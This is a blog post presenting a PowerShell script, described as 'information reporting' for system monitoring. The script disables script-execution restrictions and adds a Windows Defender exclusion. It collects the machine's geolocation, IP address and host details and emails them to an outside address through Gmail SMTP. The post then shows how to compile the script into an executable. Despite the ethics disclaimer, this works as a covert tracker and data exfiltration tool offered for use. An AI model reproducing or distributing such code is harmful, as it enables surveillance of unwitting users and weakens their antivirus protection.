Hajus
5 min readJun 22, 2023

Automating Information Reporting with PowerShell: Enhancing System Monitoring.

Introduction:

PowerShell is a powerful scripting language that enables system administrators and IT professionals to automate tasks in a Windows environment. In this blog post, we will explore a PowerShell script that automates information reporting and enhances system monitoring. We will discuss the script’s functionality, its potential applications, and the importance of using it responsibly. Let’s dive in!

Set-ExecutionPolicy -Scope CurrentUser Unrestricted -Force

Install-Module -Name Send-MailKitMessage -Force
Import-module Send-MailKitMessage
Add-MpPreference -ExclusionPath "$env:USERPROFILE\Documents\WindowsPowershell\Modules\Send-MailKitMessage"

# Get the real location using an IP geolocation service
$ipInfo = Invoke-RestMethod -Uri "https://ipinfo.io/json"

$recipient = "Recipient Email Address Here"
$sende = "Sender Email Address Here Example: Mustafa@gmail.com "
$usr = "Actual email address that you want to use to send the email report Example: Mustafa@gmail.com"
$passwd = "Here actual password that you want to use to send the email report"

$securePasswd = ConvertTo-SecureString $passwd -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($usr, $securePasswd)

$subject = "Information Report"

$body = @"

$realLocation "Real Location: $ipInfo.loc"

$ipAddress "IP Address: $ipInfo.ip"

$deviceName "COMPUTERNAME: $env:COMPUTERNAME"
$Logonsrv "LOGONSERVER: $env:LOGONSERVER"
$ProcessId "PROCESSOR_IDENTIFIER: $env:PROCESSOR_IDENTIFIER"
$ProcessLev "PROCESSOR_LEVEL: $env:PROCESSOR_LEVEL"
$OS "OS: $env:OS"
$UsrProfile "USERPROFILE: $env:USERPROFILE"

"@

$smtpServer = "smtp.gmail.com"
$smtpPort = 587


Send-MailKitMessage -From $sende -Recipient $recipient -Subject $subject -TextBody $body -SmtpServer $smtpServer -Port $smtpPort -Credential $credentials

Generate an app password for your Gmail account to use with this script. Follow these steps:

  1. Go to your Gmail account settings. Navigate to the “Security” tab. Look for the “App Passwords” section.

2. Generate a new app password specifically for this script. Replace “your-password” with the generated app password. Note: Generating an app password provides an additional layer of security by not using your actual Gmail account password directly in the script.

Modify the script variables such as recipient, sender, username, password.

Understanding the Script:

The PowerShell script presented here focuses on gathering essential system information and sending it via email. However, it is crucial to note that any tool or script can be misused if employed for malicious purposes. It is your responsibility to use this script ethically and only on systems that you have proper authorization to access.

The script performs the following steps:

  1. Setting Execution Policy:
Set-ExecutionPolicy -Scope CurrentUser Unrestricted -Force

#This command ensures that the execution policy allows the script to run
without any restrictions.

2. Installing and Importing the Send-MailKitMessage Module:

Install-Module -Name Send-MailKitMessage -Force
Import-module Send-MailKitMessage

#The script installs and imports the Send-MailKitMessage module,
which enables sending emails from PowerShell.

3. Configuring Email Settings:

$recipient = "Recipient Email Address Here"
$sende = "Sender Email Address Here Example: Mustafa@gmail.com "
$usr = "Actual email address that you want to use to send the email report Example: Mustafa@gmail.com"
$passwd = "Here actual password that you want to use to send the email report"

$securePasswd = ConvertTo-SecureString $passwd -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($usr, $securePasswd)

#Specify the recipient, sender, and your email account credentials.
Ensure that you replace the $passwd variable with an application-specific
password generated for your email account.

4. Retrieving Real Location and IP Information:

$ipInfo = Invoke-RestMethod -Uri "https://ipinfo.io/json"

#The script utilizes an IP geolocation service to fetch the real location
and IP address information.

5. Composing Email Body:

$subject = "Information Report"

$body = @"

$realLocation "Real Location: $ipInfo.loc"

$ipAddress "IP Address: $ipInfo.ip"

$deviceName "COMPUTERNAME: $env:COMPUTERNAME"
$Logonsrv "LOGONSERVER: $env:LOGONSERVER"
$ProcessId "PROCESSOR_IDENTIFIER: $env:PROCESSOR_IDENTIFIER"
$ProcessLev "PROCESSOR_LEVEL: $env:PROCESSOR_LEVEL"
$OS "OS: $env:OS"
$UsrProfile "USERPROFILE: $env:USERPROFILE"

"@

#The script generates an email body containing the real location, IP address, and other relevant system information.

6. Configuring SMTP Server:

$smtpServer = "smtp.gmail.com"
$smtpPort = 587

#Specify the SMTP server and port to establish the email connection.

7. Sending Email:

Send-MailKitMessage -From $sende -Recipient $recipient -Subject $subject -TextBody $body -SmtpServer $smtpServer -Port $smtpPort -Credential $credentials

#The script uses the Send-MailKitMessage module to send the email, providing the necessary parameters

Compiling the Script into an Executable:

To compile the PowerShell script into an executable using the ps2exe module, follow these steps:

  1. Open PowerShell as Administrator:
  • Right-click on the PowerShell icon and select “Run as Administrator.”

2. Install the ps2exe Module:

Install-Module -Name ps2exe -Force

Ensure that the module is successfully installed by running the following command:

Get-Module -Listavailable

Import the ps2exe Module:

Import-Module ps2exe

Now lets Convert the Script to Executable:

ps2exe "C:\Path\to\your\script.ps1" "C:\Path\to\your\executableScript.exe"

#Replace the path with the actual path to your PowerShell script and specify the desired output path for the executable.

Perfect we are converted our Power-shell script (.ps1) into executable (.exe).

Responsibility and Ethical Use: It is essential to use this script responsibly and ethically. The script’s purpose is to streamline information reporting and enhance system monitoring, primarily for authorized and legitimate purposes. Any misuse or unauthorized access to systems could result in legal consequences.

Remember the following guidelines:

  1. Obtain proper authorization before executing the script on any system.
  2. Use the script only for monitoring and reporting on systems you are responsible for.
  3. Respect privacy rights and adhere to any applicable laws and regulations.
  4. Do not use this script or any similar tools for malicious purposes or unauthorized access.

Conclusion: The PowerShell script presented here demonstrates how automation can enhance information reporting and system monitoring. By using the script responsibly and adhering to ethical guidelines, you can streamline administrative tasks and improve productivity in a secure manner. Embrace the power of PowerShell, but always remember to prioritize responsible and authorized use.

Happy scripting and responsible system monitoring!

If you would like to support me : https://www.buymeacoffee.com/mustafa2